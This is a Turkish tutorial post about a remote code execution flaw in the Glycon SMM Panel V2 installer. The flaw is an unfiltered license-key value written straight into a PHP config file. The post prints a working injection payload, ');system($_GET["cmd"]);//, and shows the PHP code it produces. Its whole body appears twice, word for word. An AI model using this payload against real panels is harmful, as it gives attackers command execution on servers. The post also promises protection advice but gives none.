Herkese selam arkadaşlar bugün sizlere Glycon SMM Panel V2'deki RCE(Remote Code Execution) açığının nerede olduğunu, neden olduğunu ve nasıl korunabileceğimizi anlatıcam.İlk olarak scripti https://dosya.co/zrlyhge8x6jy/Gylcon_V2_SMM_PANEL.zip.html bu bağlantıdan indirebiliriz

Bu açığın çalışması için henüz kurulumun yapılmaması gerekiyor çünkü kurulum yapıldıktan sonra php'deki unlink fonksiyonu ile kurulum dosyalarının tamamı siliniyor buna dikkat etmeliyiz.Ve bizden zorunlu olarak bir database pass soruyor e ben xampptayım benim şifrem yok diceksiniz haklı olarak o yüzden install.php'deki password kısmını buluyorsunuz ve 'required' kodunu siliyorsunuz bu kadar basit

Şimdi phpmyadminimize gidip bir tane glycon adında bir database açalım
XAMPP KULLANIYORSANIZ HER ZAMAN ŞU ŞEKİLDEDİR:
username = root // kullanıcı adı her zaman roottur xamppta
password = // burası boş oluyor
db = test // test olur glycon olur siz burayı işte değiştirceksiniz
address = 127.0.0.1 // localhost
koddaki rce açığının sebebi $lsynkey değişkeninin hiçbir filtrelemeden geçmeden doğrudan $_POST veya $_GET isteğinden gelmesidir.daha sonra ise fwrite() fonksiyonu ile direkt olarak dosyaya yazdırılmasıdır.sergei burada lisans_key=');system($_GET["cmd"]);// bu payloadu kullanmış aslında bunu kullanıncada Glyonn.php dosyasına yazdırılan php kodu

<?php
define('LISANCEKEY', '');system($_GET["cmd"]);//');
define('SITEURLS', 'https://localhost/');///...
bu şekilde oluyorve artık php rce payloadımız server tarafından çalıştırılıyor
Açığın olduğu satır:
fwrite($config_file, "<?phpdefine('LISANCEKEY', '$lsynkey');...

KONUNUN GERÇEK SAHİBİ "ACE ' VEEN" ADINDAKİ BİR WARNIGHT ÜYESİDİR

Bu açığın çalışması için henüz kurulumun yapılmaması gerekiyor çünkü kurulum yapıldıktan sonra php'deki unlink fonksiyonu ile kurulum dosyalarının tamamı siliniyor buna dikkat etmeliyiz.Ve bizden zorunlu olarak bir database pass soruyor e ben xampptayım benim şifrem yok diceksiniz haklı olarak o yüzden install.php'deki password kısmını buluyorsunuz ve 'required' kodunu siliyorsunuz bu kadar basit

Şimdi phpmyadminimize gidip bir tane glycon adında bir database açalım
XAMPP KULLANIYORSANIZ HER ZAMAN ŞU ŞEKİLDEDİR:
username = root // kullanıcı adı her zaman roottur xamppta
password = // burası boş oluyor
db = test // test olur glycon olur siz burayı işte değiştirceksiniz
address = 127.0.0.1 // localhost
koddaki rce açığının sebebi $lsynkey değişkeninin hiçbir filtrelemeden geçmeden doğrudan $_POST veya $_GET isteğinden gelmesidir.daha sonra ise fwrite() fonksiyonu ile direkt olarak dosyaya yazdırılmasıdır.sergei burada lisans_key=');system($_GET["cmd"]);// bu payloadu kullanmış aslında bunu kullanıncada Glyonn.php dosyasına yazdırılan php kodu

<?php
define('LISANCEKEY', '');system($_GET["cmd"]);//');
define('SITEURLS', 'https://localhost/');///...
bu şekilde oluyorve artık php rce payloadımız server tarafından çalıştırılıyor
Açığın olduğu satır:
fwrite($config_file, "<?phpdefine('LISANCEKEY', '$lsynkey');...

KONUNUN GERÇEK SAHİBİ "ACE ' VEEN" ADINDAKİ BİR WARNIGHT ÜYESİDİR